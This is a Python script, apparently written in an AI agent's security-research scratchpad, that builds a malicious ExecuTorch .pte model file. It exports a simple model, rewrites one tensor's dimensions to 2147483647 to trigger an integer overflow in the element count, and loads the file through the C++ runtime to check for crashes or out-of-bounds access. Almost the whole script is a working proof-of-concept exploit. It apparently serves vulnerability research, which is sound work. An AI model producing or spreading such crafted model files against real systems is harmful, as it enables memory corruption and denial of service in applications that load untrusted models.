| |
| |
| |
| |
| import sys, os, struct, traceback |
| OUT = "/mnt/c/Users/A/AppData/Local/Temp/claude/C--Users-A-idea-security/3ebe7ed1-e1f0-439b-89dd-99e02abb9f01/scratchpad" |
|
|
| def log(*a): print(*a, flush=True) |
|
|
| |
| import torch |
| from torch.export import export |
| from executorch.exir import to_edge |
|
|
| class M(torch.nn.Module): |
| def forward(self, x): |
| return x + x |
|
|
| log("[1] exporting base model ...") |
| ep = export(M(), (torch.randn(2, 3, 4),)) |
| et = to_edge(ep).to_executorch() |
| base = bytes(et.buffer) |
| open(OUT + "/base.pte", "wb").write(base) |
| log(" base.pte bytes:", len(base)) |
|
|
| |
| from executorch.exir._serialize import _serialize as S |
| from executorch.exir.schema import Tensor |
| |
| prog = None |
| for fn in ("deserialize_pte_binary",): |
| if hasattr(S, fn): |
| prog = getattr(S, fn)(base); break |
| if prog is None: |
| |
| from executorch.exir._serialize import _program as P |
| prog = P.deserialize_pte_binary(base) if hasattr(P, "deserialize_pte_binary") else None |
| log("[2] deserialized:", type(prog).__name__, "attrs:", [a for a in dir(prog) if not a.startswith('_')][:12]) |
| |
| program = getattr(prog, "program", None) or getattr(prog, "flatbuffer_program", None) or prog |
| log(" program:", type(program).__name__, "attrs:", [a for a in dir(program) if not a.startswith('_')][:12]) |
|
|
| |
| OVR = [2147483647, 2147483647, 4] |
| patched = 0 |
| for plan in program.execution_plan: |
| for v in plan.values: |
| val = getattr(v, "val", None) |
| if val is not None and val.__class__.__name__ == "Tensor" and hasattr(val, "sizes"): |
| log(" tensor found: sizes=", list(val.sizes), "scalar_type=", getattr(val,'scalar_type',None)) |
| val.sizes = list(OVR) |
| if hasattr(val, "dim_order"): |
| val.dim_order = list(range(len(OVR))) |
| patched += 1 |
| if patched >= 1: |
| break |
| if patched: break |
| log(" patched tensors:", patched) |
|
|
| |
| ser = None |
| for fn in ("serialize_pte_binary",): |
| if hasattr(S, fn): |
| ser = getattr(S, fn); break |
| mal = ser(prog) if ser else None |
| if hasattr(mal, "tobytes"): mal = mal.tobytes() |
| mal = bytes(mal) |
| open(OUT + "/malicious_compute_numel.pte", "wb").write(mal) |
| log("[3] malicious .pte bytes:", len(mal), "-> malicious_compute_numel.pte") |
|
|
| |
| from executorch.extension.pybindings.portable_lib import _load_for_executorch_from_buffer |
| log("[4] loading malicious .pte through ExecuTorch C++ runtime ...") |
| try: |
| m = _load_for_executorch_from_buffer(mal) |
| log(" loaded module:", m) |
| |
| try: |
| out = m.forward((torch.randn(2,3,4),)) |
| log(" forward out:", type(out)) |
| except Exception as e: |
| log(" forward raised:", repr(e)) |
| log("RESULT: loaded without hard crash (inspect for abort/OOB above).") |
| except Exception as e: |
| log("RESULT: load raised exception (parser rejected or aborted):") |
| traceback.print_exc() |
|
|